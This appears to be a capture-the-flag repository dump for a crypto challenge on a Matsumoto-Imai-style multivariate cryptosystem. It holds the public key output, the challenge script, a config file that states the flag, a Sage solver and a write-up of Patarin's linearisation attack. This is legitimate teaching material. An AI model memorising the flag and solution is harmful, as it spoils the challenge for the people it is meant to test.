x16*x26 + x16*x31 + x16*x33 + x16*x35 + x16*x36 + x16*x39 + x16*x40 + x16*x41 + x16*x42 + x16*x45 + x16*x46 + x16*x50 + x16*x52 + x16*x55 + x16*x56 + x16*x57 + x16*x58 + x16*x59 + x16*x61 + x16*x62 + x16*x64 + x16*x65 + x16*x66 + x16*x73 + x16*x74 + x16*x75 + x16*x77 + x16*x78 + x16*x79 + x16 + x17*x18 + x17*x21 + x17*x22 + x17*x23 + x17*x24 + x17*x25 + x17*x27 + x17*x32 + x17*x34 + x17*x36 + x17*x38 + x17*x40 + x17*x41 + x17*x43 + x17*x47 + x17*x49 + x17*x50 + x17*x51 + x17*x53 + x17*x54 + x17*x55 + x17*x56 + x17*x57 + x17*x58 + x17*x60 + x17*x61 + x17*x68 + x17*x70 + x17*x73 + x17*x74 + x17*x76 + x17*x77 + x17*x78 + x18*x20 + x18*x23 + x18*x24 + x18*x29 + x18*x30 + x18*x32 + x18*x36 + x18*x40 + x18*x42 + x18*x43 + x18*x44 + x18*x48 + x18*x49 + x18*x50 + x18*x52 + x18*x53 + x18*x54 + x18*x55 + x18*x57 + x18*x59 + x18*x60 + x18*x63 + x18*x65 + x18*x67 + x18*x74 + x18*x75 + x18*x77 + x18*x78 + x18 + x19*x21 + x19*x25 + x19*x26 + x19*x28 + x19*x30 + x19*x35 + x19*x37 + x19*x40 + x19*x41 + x19*x43 + x19*x45 + x19*x46 + x19*x48 + x19*x49 + x19*x50 + x19*x51 + x19*x56 + x19*x57 + x19*x61 + x19*x62 + x19*x63 + x19*x65 + x19*x66 + x19*x67 + x19*x68 + x19*x75 + x19*x77 + x19*x78 + x19 + x20*x21 + x20*x22 + x20*x24 + x20*x27 + x20*x29 + x20*x30 + x20*x33 + x20*x34 + x20*x36 + x20*x39 + x20*x41 + x20*x44 + x20*x46 + x20*x48 + x20*x49 + x20*x50 + x20*x51 + x20*x53 + x20*x54 + x20*x55 + x20*x60 + x20*x62 + x20*x63 + x20*x64 + x20*x65 + x20*x67 + x20*x69 + x20*x72 + x20*x73 + x20*x75 + x20*x78 + x20 + x21*x22 + x21*x23 + x21*x30 + x21*x32 + x21*x33 + x21*x34 + x21*x36 + x21*x38 + x21*x42 + x21*x43 + x21*x44 + x21*x47 + x21*x50 + x21*x60 + x21*x61 + x21*x62 + x21*x64 + x21*x66 + x21*x67 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x72 + x21*x73 + x21*x74 + x21*x75 + x21*x76 + x21*x78 + x21 + x22*x23 + x22*x24 + x22*x26 + x22*x29 + x22*x30 + x22*x31 + x22*x34 + x22*x36 + x22*x41 + x22*x42 + x22*x43 + x22*x45 + x22*x47 + x22*x49 + x22*x50 + x22*x52 + x22*x56 + x22*x57 + x22*x58 + x22*x59 + x22*x63 + x22*x64 + x22*x65 + x22*x66 + x22*x72 + x22*x75 + x22*x76 + x22*x79 + x23*x24 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x30 + x23*x31 + x23*x35 + x23*x37 + x23*x38 + x23*x39 + x23*x40 + x23*x41 + x23*x43 + x23*x44 + x23*x45 + x23*x46 + x23*x47 + x23*x49 + x23*x51 + x23*x52 + x23*x54 + x23*x55 + x23*x57 + x23*x58 + x23*x61 + x23*x63 + x23*x64 + x23*x65 + x23*x66 + x23*x68 + x23*x71 + x23*x72 + x23*x74 + x23*x76 + x23*x77 + x23*x78 + x23 + x24*x27 + x24*x31 + x24*x33 + x24*x34 + x24*x35 + x24*x38 + x24*x41 + x24*x43 + x24*x45 + x24*x46 + x24*x49 + x24*x51 + x24*x52 + x24*x53 + x24*x54 + x24*x56 + x24*x57 + x24*x59 + x24*x60 + x24*x61 + x24*x62 + x24*x63 + x24*x66 + x24*x68 + x24*x71 + x24*x75 + x24*x76 + x24*x78 + x24*x79 + x24 + x25*x30 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x37 + x25*x38 + x25*x39 + x25*x41 + x25*x44 + x25*x45 + x25*x46 + x25*x50 + x25*x51 + x25*x52 + x25*x56 + x25*x57 + x25*x58 + x25*x60 + x25*x62 + x25*x64 + x25*x65 + x25*x66 + x25*x67 + x25*x68 + x25*x71 + x25*x77 + x25*x78 + x25*x79 + x26*x27 + x26*x28 + x26*x31 + x26*x34 + x26*x35 + x26*x39 + x26*x41 + x26*x42 + x26*x44 + x26*x45 + x26*x47 + x26*x48 + x26*x49 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x55 + x26*x56 + x26*x60 + x26*x61 + x26*x63 + x26*x64 + x26*x65 + x26*x66 + x26*x67 + x26*x71 + x26*x73 + x26*x74 + x26*x77 + x26*x78 + x26 + x27*x28 + x27*x29 + x27*x32 + x27*x34 + x27*x37 + x27*x40 + x27*x46 + x27*x47 + x27*x51 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x58 + x27*x60 + x27*x61 + x27*x62 + x27*x66 + x27*x68 + x27*x69 + x27*x70 + x27*x74 + x27*x75 + x27*x77 + x27*x78 + x27 + x28*x29 + x28*x30 + x28*x34 + x28*x36 + x28*x37 + x28*x40 + x28*x43 + x28*x47 + x28*x48 + x28*x49 + x28*x53 + x28*x56 + x28*x61 + x28*x63 + x28*x65 + x28*x66 + x28*x67 + x28*x69 + x28*x70 + x28*x73 + x28*x74 + x28*x76 + x28*x78 + x28*x79 + x28 + x29*x34 + x29*x38 + x29*x40 + x29*x42 + x29*x43 + x29*x44 + x29*x45 + x29*x46 + x29*x47 + x29*x48 + x29*x50 + x29*x52 + x29*x53 + x29*x54 + x29*x55 + x29*x59 + x29*x63 + x29*x65 + x29*x68 + x29*x71 + x29*x72 + x29*x75 + x29*x76 + x29*x78 + x29*x79 + x29 + x30*x32 + x30*x33 + x30*x34 + x30*x35 + x30*x44 + x30*x45 + x30*x46 + x30*x49 + x30*x51 + x30*x52 + x30*x53 + x30*x60 + x30*x61 + x30*x65 + x30*x66 + x30*x68 + x30*x71 + x30*x75 + x30*x76 + x30*x78 + x31*x32 + x31*x33 + x31*x34 + x31*x35 + x31*x38 + x31*x39 + x31*x41 + x31*x43 + x31*x48 + x31*x50 + x31*x54 + x31*x56 + x31*x57 + x31*x58 + x31*x60 + x31*x62 + x31*x63 + x31*x65 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x71 + x31*x72 + x31*x73 + x31*x74 + x31*x76 + x31*x78 + x32*x34 + x32*x37 + x32*x40 + x32*x41 + x32*x44 + x32*x47 + x32*x49 + x32*x51 + x32*x52 + x32*x53 + x32*x55 + x32*x59 + x32*x60 + x32*x61 + x32*x65 + x32*x67 + x32*x68 + x32*x69 + x32*x70 + x32*x72 + x32*x73 + x32*x77 + x32*x79 + x33*x36 + x33*x38 + x33*x40 + x33*x42 + x33*x46 + x33*x47 + x33*x48 + x33*x49 + x33*x52 + x33*x53 + x33*x54 + x33*x56 + x33*x58 + x33*x59 + x33*x61 + x33*x62 + x33*x63 + x33*x67 + x33*x73 + x33*x74 + x33*x76 + x33*x77 + x34*x37 + x34*x41 + x34*x42 + x34*x45 + x34*x46 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x51 + x34*x53 + x34*x54 + x34*x59 + x34*x61 + x34*x63 + x34*x65 + x34*x66 + x34*x68 + x34*x69 + x34*x70 + x34*x71 + x34*x73 + x34*x76 + x34*x77 + x34*x79 + x34 + x35*x36 + x35*x41 + x35*x46 + x35*x47 + x35*x48 + x35*x51 + x35*x53 + x35*x56 + x35*x58 + x35*x63 + x35*x66 + x35*x67 + x35*x68 + x35*x69 + x35*x74 + x35*x76 + x35*x79 + x36*x38 + x36*x41 + x36*x46 + x36*x47 + x36*x48 + x36*x51 + x36*x52 + x36*x54 + x36*x55 + x36*x56 + x36*x58 + x36*x60 + x36*x62 + x36*x64 + x36*x67 + x36*x68 + x36*x69 + x36*x70 + x36*x71 + x36*x72 + x36*x74 + x36*x79 + x37*x38 + x37*x40 + x37*x44 + x37*x46 + x37*x51 + x37*x52 + x37*x56 + x37*x63 + x37*x64 + x37*x65 + x37*x66 + x37*x67 + x37*x72 + x37*x74 + x37*x77 + x37*x78 + x37*x79 + x37 + x38*x39 + x38*x44 + x38*x47 + x38*x48 + x38*x51 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x60 + x38*x62 + x38*x63 + x38*x64 + x38*x65 + x38*x66 + x38*x69 + x38*x70 + x38*x78 + x38*x79 + x38 + x39*x40 + x39*x43 + x39*x46 + x39*x47 + x39*x48 + x39*x51 + x39*x55 + x39*x57 + x39*x58 + x39*x63 + x39*x65 + x39*x67 + x39*x71 + x39*x73 + x39*x74 + x39*x76 + x39 + x40*x43 + x40*x45 + x40*x46 + x40*x50 + x40*x51 + x40*x52 + x40*x54 + x40*x55 + x40*x58 + x40*x59 + x40*x60 + x40*x63 + x40*x64 + x40*x66 + x40*x67 + x40*x70 + x40*x71 + x40*x72 + x40*x74 + x40*x76 + x40*x77 + x40*x78 + x41*x45 + x41*x47 + x41*x48 + x41*x52 + x41*x54 + x41*x56 + x41*x57 + x41*x58 + x41*x59 + x41*x60 + x41*x61 + x41*x63 + x41*x65 + x41*x66 + x41*x67 + x41*x68 + x41*x70 + x41*x72 + x41*x74 + x41*x77 + x41*x78 + x41*x79 + x42*x43 + x42*x44 + x42*x45 + x42*x46 + x42*x48 + x42*x49 + x42*x50 + x42*x51 + x42*x53 + x42*x60 + x42*x61 + x42*x62 + x42*x64 + x42*x66 + x42*x69 + x42*x70 + x42*x71 + x42*x76 + x43*x46 + x43*x54 + x43*x55 + x43*x56 + x43*x57 + x43*x58 + x43*x59 + x43*x60 + x43*x65 + x43*x68 + x43*x69 + x43*x71 + x43*x72 + x43*x73 + x43*x74 + x43*x75 + x43*x76 + x43*x77 + x43*x79 + x43 + x44*x45 + x44*x46 + x44*x50 + x44*x51 + x44*x52 + x44*x53 + x44*x56 + x44*x57 + x44*x58 + x44*x59 + x44*x60 + x44*x61 + x44*x64 + x44*x65 + x44*x68 + x44*x69 + x44*x70 + x44*x74 + x44*x76 + x44*x78 + x44 + x45*x47 + x45*x49 + x45*x51 + x45*x52 + x45*x53 + x45*x54 + x45*x57 + x45*x58 + x45*x59 + x45*x60 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x70 + x45*x75 + x45*x76 + x45*x77 + x45*x78 + x45*x79 + x45 + x46*x47 + x46*x51 + x46*x53 + x46*x54 + x46*x55 + x46*x58 + x46*x60 + x46*x63 + x46*x64 + x46*x65 + x46*x66 + x46*x69 + x46*x70 + x46*x72 + x46*x73 + x46*x75 + x46*x76 + x46*x77 + x46*x79 + x46 + x47*x48 + x47*x49 + x47*x50 + x47*x51 + x47*x53 + x47*x54 + x47*x55 + x47*x56 + x47*x58 + x47*x59 + x47*x60 + x47*x62 + x47*x65 + x47*x67 + x47*x71 + x47*x73 + x47*x77 + x47*x78 + x47 + x48*x50 + x48*x51 + x48*x52 + x48*x53 + x48*x55 + x48*x57 + x48*x60 + x48*x61 + x48*x63 + x48*x64 + x48*x65 + x48*x66 + x48*x68 + x48*x69 + x48*x71 + x48*x73 + x48*x77 + x48*x79 + x49*x50 + x49*x52 + x49*x55 + x49*x56 + x49*x57 + x49*x62 + x49*x63 + x49*x64 + x49*x65 + x49*x68 + x49*x70 + x49*x71 + x49*x73 + x49*x74 + x49*x75 + x49*x78 + x49 + x50*x52 + x50*x53 + x50*x54 + x50*x55 + x50*x56 + x50*x58 + x50*x61 + x50*x63 + x50*x64 + x50*x65 + x50*x66 + x50*x69 + x50*x71 + x50*x73 + x50*x74 + x50*x75 + x50*x76 + x50*x77 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x55 + x51*x56 + x51*x59 + x51*x60 + x51*x61 + x51*x62 + x51*x63 + x51*x66 + x51*x67 + x51*x71 + x51*x72 + x51*x74 + x51*x75 + x51*x76 + x51*x77 + x51*x79 + x52*x54 + x52*x59 + x52*x60 + x52*x63 + x52*x64 + x52*x65 + x52*x66 + x52*x67 + x52*x69 + x52*x70 + x52*x71 + x52*x73 + x52*x74 + x52*x76 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x58 + x53*x61 + x53*x64 + x53*x68 + x53*x69 + x53*x71 + x53*x75 + x54*x55 + x54*x56 + x54*x57 + x54*x58 + x54*x59 + x54*x60 + x54*x61 + x54*x62 + x54*x63 + x54*x64 + x54*x65 + x54*x66 + x54*x70 + x54*x73 + x54*x74 + x54*x76 + x54*x79 + x54 + x55*x58 + x55*x63 + x55*x64 + x55*x67 + x55*x68 + x55*x69 + x55*x71 + x55*x73 + x55*x76 + x55*x77 + x55*x79 + x56*x58 + x56*x60 + x56*x61 + x56*x63 + x56*x64 + x56*x67 + x56*x68 + x56*x69 + x56*x70 + x56*x72 + x56*x75 + x56*x76 + x56*x77 + x56*x78 + x56*x79 + x56 + x57*x60 + x57*x61 + x57*x62 + x57*x63 + x57*x64 + x57*x65 + x57*x68 + x57*x71 + x57*x72 + x57*x74 + x57*x75 + x57*x77 + x57*x78 + x57*x79 + x57 + x58*x59 + x58*x60 + x58*x63 + x58*x64 + x58*x65 + x58*x66 + x58*x68 + x58*x70 + x58*x71 + x58*x74 + x58*x75 + x58*x77 + x58*x79 + x59*x62 + x59*x64 + x59*x67 + x59*x70 + x59*x72 + x59*x73 + x59*x75 + x59*x78 + x59*x79 + x60*x61 + x60*x63 + x60*x66 + x60*x68 + x60*x70 + x60*x71 + x60*x76 + x60 + x61*x62 + x61*x63 + x61*x65 + x61*x67 + x61*x70 + x61*x71 + x61*x72 + x61*x74 + x61 + x62*x63 + x62*x67 + x62*x68 + x62*x70 + x62*x71 + x62*x73 + x62*x76 + x62 + x63*x65 + x63*x66 + x63*x68 + x63*x70 + x63*x72 + x63*x76 + x63*x77 + x63*x78 + x63 + x64*x65 + x64*x66 + x64*x67 + x64*x68 + x64*x69 + x64*x70 + x64*x71 + x64*x73 + x64*x74 + x64*x76 + x64*x78 + x64 + x65*x66 + x65*x69 + x65*x77 + x65 + x66*x67 + x66*x68 + x66*x69 + x66*x70 + x66*x76 + x66*x77 + x66*x79 + x67*x68 + x67*x69 + x67*x72 + x67*x77 + x67 + x68*x69 + x68*x71 + x68*x74 + x68*x77 + x68*x78 + x69*x78 + x69*x79 + x70*x72 + x70*x73 + x70*x74 + x70*x77 + x70 + x71*x73 + x71*x74 + x71*x75 + x71*x77 + x71*x79 + x72*x73 + x72*x76 + x72*x77 + x72 + x73*x76 + x73*x79 + x73 + x74*x75 + x74*x77 + x74*x78 + x75*x76 + x76*x79 + x77*x79 + x77 + x78 + x79 + 1) 11101011000000110101100011111010000110101111010000111100111100011110011010001101 10111101100011010101101110001100010001100001111101100010000011100100001101011110 ================================================ FILE: crypto/substitution-cipher-iii/challenge/substitution-cipher-iii.sage ================================================ def encrypt(pubkey, msg): gens = pubkey[0].parent().gens() n = len(gens) B = ''.join(f'{c:08b}' for c in msg) B = list(map(int, B)) assert len(B) <= n B += [0] * (n - len(B)) subs = { x: b for x, b in zip(gens, B) } return ''.join([str(p.substitute(subs)) for p in pubkey]) def generate_key(n): q = 2 F = GF(q) K = BooleanPolynomialRing(n, 'x') R. = PolynomialRing(K) i = GF(q)[t].irreducible_element(n) I = Ideal(R(i)) I.reduce = lambda f: f % i # dirty sage hack E. = PolynomialRing(K, t).quo(I) L. = PolynomialRing(E) A = AffineGroup(n, K) S = A(GL(n, F).random_element(), random_vector(F, n), check=False) r = sum(randint(0, 1) * tbar^i for i in range(n)) P = r * x^(q + 1) T = A(GL(n, F).random_element(), random_vector(F, n), check=False) B = S(K.gens()) * vector([tbar^i for i in range(n)]) Q = P(B) R = T(Q.lift().coefficients()) return R, (S, P, T) pubkey, privkey = generate_key(80) FLAG = open('./flag.txt', 'rb').read().strip() assert FLAG.startswith(b'DUCTF{') and FLAG.endswith(b'}') FLAG = FLAG.strip(b'DUCTF{}') msg1 = FLAG[:10] msg2 = FLAG[10:] ct1 = encrypt(pubkey, msg1) ct2 = encrypt(pubkey, msg2) print(pubkey) print(ct1) print(ct2) ================================================ FILE: crypto/substitution-cipher-iii/challenge.yml ================================================ version: "0.1" id: substitution-cipher-iii name: Substitution Cipher III category: crypto description: | Wait a **MI**nute, that's not a substitution cipher! Author: joseph#8210 tags: - hard files: - ./challenge/substitution-cipher-iii.sage - ./challenge/output.txt flags: - DUCTF{MQ_1s_fun_a5e39cf21a} ================================================ FILE: crypto/substitution-cipher-iii/solve/solve.sage ================================================ from Crypto.Util.number import long_to_bytes from string import printable from tqdm import tqdm E, C1, C2 = open('../challenge/output.txt', 'r').read().splitlines() def encrypt(pubkey, msg): # assume msg \in {0,1}^n return tuple([p(*msg) for p in pubkey]) # not entirely necessary, but speeds up polynomial evaluation def gen_sparse_vector(i, n): p = 0 while i > 0: p |= 1 << (i % n) i //= n return tuple(map(int, f'{p:0b}'.zfill(n))) def get_ptct_pairs(pubkey, N): n = len(pubkey[0].parent().gens()) seen = set() pairs = [] i = 0 pbar = tqdm(total=int(N)) while len(pairs) < N: pt = gen_sparse_vector(i, n) if pt not in seen: ct = encrypt(pubkey, pt) pairs.append((pt, ct)) seen.add(pt) pbar.update(int(1)) i += 1 pbar.close() return pairs def gen_matrix_row(pair): X, Y = pair r = [] for i in range(n): for j in range(n): r.append(F(X[i]*Y[j])) r += [F(x) for x in X] r += [F(y) for y in Y] r.append(1) return r q = 2 n = 80 F = GF(q) G = PolynomialRing(F, [f'x{i}' for i in range(n)]) Kb = BooleanPolynomialRing(n, 'x') # faster than GF(2)[x0, ..., xn] Kb.inject_variables() pubkey = eval(E) print('generating random pt/ct pairs...') pairs = get_ptct_pairs(pubkey, (n+1)^2) print('generating coefficient matrix...') M = list(gen_matrix_row(pair) for pair in tqdm(pairs)) M = Matrix(F, M) print(f'nullity: {M.right_nullity()}') print('computing kernel...') K = M.right_kernel() def recover_X(K, C): X = Kb.gens() Y = [int(c) for c in C] T = [] for coeffs in K.basis(): eq = 0 for i in range(n): for j in range(n): eq += coeffs[n*i + j]*X[i]*Y[j] eq += sum(coeffs[n^2 + i]*X[i] for i in range(n)) eq += sum(coeffs[n^2 + n + i]*Y[i] for i in range(n)) eq += coeffs[n^2 + 2*n] T.append(G(eq)) T = Sequence(T) for v in T.coefficient_matrix()[0].right_kernel(): m = ''.join(map(str, v[:-1])) pt = long_to_bytes(int(m, 2)) if all(chr(c) in printable for c in pt): return pt.decode() flag1 = recover_X(K, C1) flag2 = recover_X(K, C2) flag = 'DUCTF{' + flag1 + flag2 + '}' print(flag) ================================================ FILE: crypto/substitution-cipher-iii/solve/test.sh ================================================ #!/bin/sh sage --pip install pycrypto tqdm TMPDIR=`mktemp -d` cp -r /work/challenge /work/solve "$TMPDIR" cd "$TMPDIR/solve" sage solve.sage ================================================ FILE: crypto/substitution-cipher-iii/solve/writeup.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "id": "a0f3f251", "metadata": {}, "source": [ "# Challenge Overview\n", "\n", "This challenge is a sequel to \"Substitution Cipher II\", though in terms of difficulty, it is a large step up. The basis of the challenge is Patarin's famous attack (though other attacks may work) on the Matsumoto-Imai cryptosystem which was hinted towards by the bold **MI** in the challenge's description (one could easily find useful resources online by searching \"MI cryptosystem\"). The large public key size is also a trait of multivariate public key cryptosystems which some people may have recognised.\n", "\n", "Like with the other two substitution cipher challenges, we are given the code which has been used to encrypt the flag, as well as the ciphertext. In this challenge, we are also given a public key.\n", "\n", "## Matsumoto-Imai Cryptosystem\n", "\n", "In this section we give a rough description of the Matsumoto-Imai-like cryptosystem as presented in the challenge. There are some differences from the original cryptosystem, so to hopefully make it easier to follow, we also draw comparisons between the mathematical notation and the handout code.\n", "\n", "The general idea is that a composition of certain transformations is difficult to invert without knowledge of the individual transformations that make it up; so a private key is made up of some invertible transformations, and the corresponding public key is their composition. Additionally, solving a set of multivariate (even quadratic) polynomial equations over a finite field in general is proven to be NP-complete, so one _shouldn't_ be able to easily recover the plaintext from a given ciphertext and the public key alone.\n", "\n", "### Parameters\n", "\n", "To set the scene, we choose parameters $q$ and $n$ (in the challenge $q = 2$ and $n = 80$) and define some algebraic objects to work with:\n", "\n", "$$\n", "\\begin{aligned}\n", " K &= \\mathbb{F}_q[x_1, \\ldots, x_n] \\\\\n", " E &= K[t]/(i(t)) \\\\\n", " L &= E[x] \\\\\n", " A &= \\mathrm{Aff}(n, K)\n", "\\end{aligned}\n", "$$\n", "\n", "where $i(t)$ is an arbitrary degree $n$ irreducible polynomial. \n", "\n", "In Sage, we need to write a bit more boilerplate to achieve this:\n", "\n", "```py\n", " q = 2\n", " F = GF(q)\n", " K = BooleanPolynomialRing(n, 'x')\n", " R. = PolynomialRing(K)\n", " i = GF(q)[t].irreducible_element(n)\n", " I = Ideal(R(i))\n", " I.reduce = lambda f: f % i # dirty sage hack\n", " E. = PolynomialRing(K, t).quo(I)\n", " L. = PolynomialRing(E)\n", " A = AffineGroup(n, K)\n", "```\n", "\n", "- [`BooleanPolynomialRing`](https://doc.sagemath.org/html/en/reference/polynomial_rings/sage/rings/polynomial/pbori/pbori.html) is a more efficient implementation of boolean polynomials; in most cases it can be used as a clean replacement for `GF(2)[x1, ..., xn]`.\n", "- As for the `I.reduce = ...` line, this should probably not need to be done but I was having difficulties getting Sage to properly reduce elements of $E$ modulo $i(t)$ and this seemed like the only way to fix it.\n", "- The purpose of $L$ is to define polynomials whose variables are in $E$ (which we'll do next).\n", "- $A$ is defined so that we can easily work with affine transformations.\n", "\n", "### Private Key\n", "\n", "Next, we'll generate the private key. We choose random $S, T \\in A$ and $P = r x^{q + 1} \\in L$ where $r \\in E$ is randomly chosen. (Note that the construction of $P$ here is not in its most general form, and that this particular choice of $P$ is potentially weaker than other choices).\n", "\n", "In Sage, we write:\n", "\n", "```py\n", " S = A(GL(n, F).random_element(), random_vector(F, n), check=False)\n", " r = sum(randint(0, 1) * tbar^i for i in range(n))\n", " P = r * x^(q + 1)\n", " T = A(GL(n, F).random_element(), random_vector(F, n), check=False)\n", "```\n", "\n", "`A.random_element()` wasn't working for some reason, so we simply generate a random invertible matrix and a random vector with elements in $\\mathbb{F}_q$ which is enough to represent an affine transformation.\n", "\n", "### Public Key\n", "\n", "To derive the public key $R$ from the private key, we simply take the composition $R = T \\circ P \\circ S$.\n", "\n", "Actually, that's not entirely correct but it captures the general idea. To be more explicit, $S$ and $T$ are affine transformations that map elements of $K^n$ to elements of $K^n$, whereas $P$ is a function that takes an element in $E$ and outputs an element in $E$. The way we glue together these components of different \"types\" is by introducing an extra function that converts between the two types; there is a natural bijection between $K^n$ and $E$, so we define:\n", "\n", "$$\n", "\\begin{aligned}\n", " \\varphi : K^n &\\rightarrow E \\\\\n", " (v_0, v_1, \\ldots, v_{n-1}) &\\mapsto v_0 + v_1 t + \\cdots + v_{n-1} t^{n-1}\n", "\\end{aligned}\n", "$$\n", "\n", "So more accurately, we take the public key to be $R = T \\circ \\varphi^{-1} \\circ P \\circ \\varphi \\circ S$.\n", "\n", "$R$ itself can be represented by $n$ multivariate polynomials $r_1, r_2, \\ldots, r_n$; these are what will be used for encryption.\n", "\n", "In Sage, we can write this concisely as:\n", "\n", "```py\n", " B = S(K.gens()) * vector([tbar^i for i in range(n)])\n", " Q = P(B)\n", " R = T(Q.lift().coefficients())\n", "```\n", "\n", "Since $S$ and $T$ are elements of $A$, we can perform the transformation they represent with `S(x)` and `T(x)` respectively, where `x` is an element of $K^n$. Multiplication by the vector $(1, t, \\ldots, t^{n-1})$ is equivalent to the conversion map $\\varphi$, and taking the coefficients of an element in $E$ is equivalent to $\\varphi^{-1}$. The reason for the `.lift()` is to consider `Q` as an element of $K[t]$ (as opposed to an element of $E$) since `.coefficients()` seems to be not implemented for this quotient ring.\n", "\n", "### Encryption\n", "\n", "Encryption is easy but there is a slight caveat that might be confusing. The public polynomials $r_i : K^n \\rightarrow K$ map elements of $K^n$ to an element of $K$. We defined $K$ to be a boolean polynomial ring, but it should be noted that $\\mathbb{F}_q$ is a subset of $K$, and that $\\mathbb{F}_q^n$ is a subset of $K^n$. When we encrypt messages, we are really only concerned with the subset $\\mathbb{F}_q$ and not with other elements of $K$. (This is just for the reason that working with bits is easier; there shouldn't be any issues with encoding messages using other elements in $K$)\n", "\n", "To encrypt a message, we first encode the message as an element $m$ of $\\mathbb{F}_q^n$ and compute $(r_1(m), r_2(m), \\ldots, r_n(m))$. where $r_i$ are the public polynomials. Since each of the $r_i$ sends elements of $\\mathbb{F}_q^n$ to an element in $\\mathbb{F}_q$, the resulting ciphertext is an element of $\\mathbb{F}_q^n \\subset K^n$.\n", "\n", "# Solution\n", "\n", "We are given nothing but the public key and the ciphertexts. We could attempt to recover the private key, but it isn't necessary. We will follow Patarin's attack from Crypto'95 which allows us to recover the plaintext for any given ciphertext.\n", "\n", "The attack relies on the fact that maps $f : E \\rightarrow E$ of the form $x \\mapsto x^{q^k}$ are linear for any integer $k$. By this, we mean that if $z = z_0 + z_1 t + \\cdots + z_{n-1} t^{n-1} \\in E$, then $f(z) = z_0' + z_1' t + \\cdots + z_{n-1}' t^{n-1}$ is such that $z_i' = f_i(z_0, \\ldots, z_{n-1})$ with $\\deg f_i = 1$. In words; this says that the coefficients of $f(z)$ can be written as a linear combination of the coefficients of $z$.\n", "\n", "I couldn't find a proof for this, (maybe because it's supposed to be obvious, but it certainly wasn't obvious to me), so here is my (possibly wrong) attempt at a justification (which I think might actually only work for $q = 2$):\n", "\n", "Define $f : E \\rightarrow E$ as $f(x) = x^{q^k}$ for any integer $k$. Let $z = z_0 + z_1 t + \\cdots + z_{n-1} t^{n-1} \\in E$. Then\n", "\n", "$$\n", "\\begin{aligned}\n", " f(z) &= (z_0 + z_1 t + \\cdots + z_{n-1} t^{n-1})^{q^k} \\\\\n", " &= z_0^{q^k} + (z_1 t)^{q^k} + \\cdots + (z_{n-1} t^{n-1})^{q^k} \\quad \\text{since } \\mathrm{char}(E) = q \\\\\n", " &= z_0 + z_1 t^{q^k} + \\cdots + z_{n-1} t^{(n-1)q^k} \\quad \\text{since } x = x^q \\text{ for all } x \\in K\n", "\\end{aligned}\n", "$$\n", "\n", "It should now follow that, after being reduced modulo the irreducible polynomial $i(t)$, the coefficients of $f(z)$ are linear combinations of the $z_i$.\n", "\n", "Combined with some other clever insights, this eventually leads to a linear expression relating all plaintext and ciphertext pairs as we will soon see.\n", "\n", "## Finding the Relation\n", "\n", "This is the core of the attack. To begin, recall that a plaintext message $x \\in K^n$ is encrypted by computing its ciphertext $y = (T \\circ \\varphi^{-1} \\circ P \\circ \\varphi \\circ S)(x) \\in K^n$.\n", "\n", "Let $a = \\varphi(S(x))$ and $b = \\varphi(T^{-1}(y))$. Note that $a, b \\in E$ and furthermore that $b = P(a)$. So we have\n", "\n", "$$\n", "b = ra^{q + 1}\n", "$$\n", "\n", "Now, applying $g : E \\rightarrow E, x \\mapsto x^{q-1}$ to both sides of the equation, we get\n", "\n", "$$\n", "\\begin{aligned}\n", " g(b) &= g(ra^{q+1}) \\\\\n", " b^{q-1} &= r^{q-1} a^{q^2 - 1}\n", "\\end{aligned}\n", "$$\n", "\n", "Multiplying both sides by $ab$, we get\n", "\n", "$$\n", "ab^q = r^{q-1} a^{q^2} b \\tag{1}\n", "$$\n", "\n", "By the definition of $a$ and $b$, we have\n", "\n", "$$\n", "a = c_1x + c_2 \\qquad b = c_3 y + c_4\n", "$$\n", "\n", "where the $c_i$ are elements of $E$ which we do not particularly care about. This follows because $a$ and $b$ are simply affine transformations of $x$ and $y$ respectively.\n", "\n", "Combining this with the fact that the maps $b \\mapsto b^q$ and $a \\mapsto a^{q^2}$ are linear maps, equation $(1)$ effectively gives us an equation relating $x$ and $y$ where $x$, $y$ and $xy$ appear to a power of no greater than $1$.\n", "\n", "So, if we let $x = (x_0, x_1, \\ldots, x_{n-1})$ and $y = (y_0, y_1, \\ldots, y_{n-1})$, then the information given by equation $(1)$ can be rewritten as:\n", "\n", "$$\n", "\\sum_{i=0}^{n-1} \\sum_{j=0}^{n-1} \\gamma_{i, j} x_i y_j + \\sum_{i=0}^{n-1} \\alpha_i x_i + \\sum_{j=0}^{n-1} \\beta_j y_j + \\delta = 0 \\tag{2}\n", "$$\n", "\n", "And the amazing thing about this relation is that it holds for _all_ plaintext/ciphertext pairs $(x, y)$ since we made no assumptions about them to begin with! That means it holds for the flag and the ciphertext we've been given too :)\n", "\n", "## Recovering the Constants\n", "\n", "Equation $(2)$ gives us a relation that holds for all plaintext/ciphertext pairs, but we don't know the $\\gamma_{i, j}, \\alpha_i, \\beta_j$ and $\\delta$. Fortunately, since encryption uses the public key (which we have), we can generate our own plaintexts and encrypt them to get valid plaintext/ciphertext pairs.\n", "\n", "With a set of plaintext/ciphertext pairs, we can view equation $(2)$ as a system of linear equations in the unknowns $\\gamma_{i, j}, \\alpha_i, \\beta_j$ and $\\delta$ and use linear algebra techniques to solve for them. There are $n^2 + n + n + 1 = (n+1)^2$ unknowns, so we'll need $(n+1)^2$ plaintext/ciphertext pairs to successfully recover the constants.\n", "\n", "Generating the plaintext/ciphertext pairs may take a while (though, not _that_ long if you're patient), so an easy optimisation we can do is choose sparse plaintext vectors; that is, plaintexts which have a lot of zero bits. Doing this speeds up polynomial evaluation which is the most expensive operation for encryption.\n", "\n", "## Recovering the Flag\n", "\n", "The hard work is mostly done. If we have the relation and the constants, then to recover a plaintext given a ciphertext all we need to do is plug in the $y_j$ values, and solve for the $x_i$ values. Again, this is done using linear algebra techniques, but in this case instead of solving a system of linear equations in the unknowns $\\gamma_{i, j}, \\alpha_i, \\beta_j$ and $\\delta$, we solve the system for the unknowns $x_0, x_1, \\ldots, x_{n-1}$.\n", "\n", "# References/Extra Reading\n", 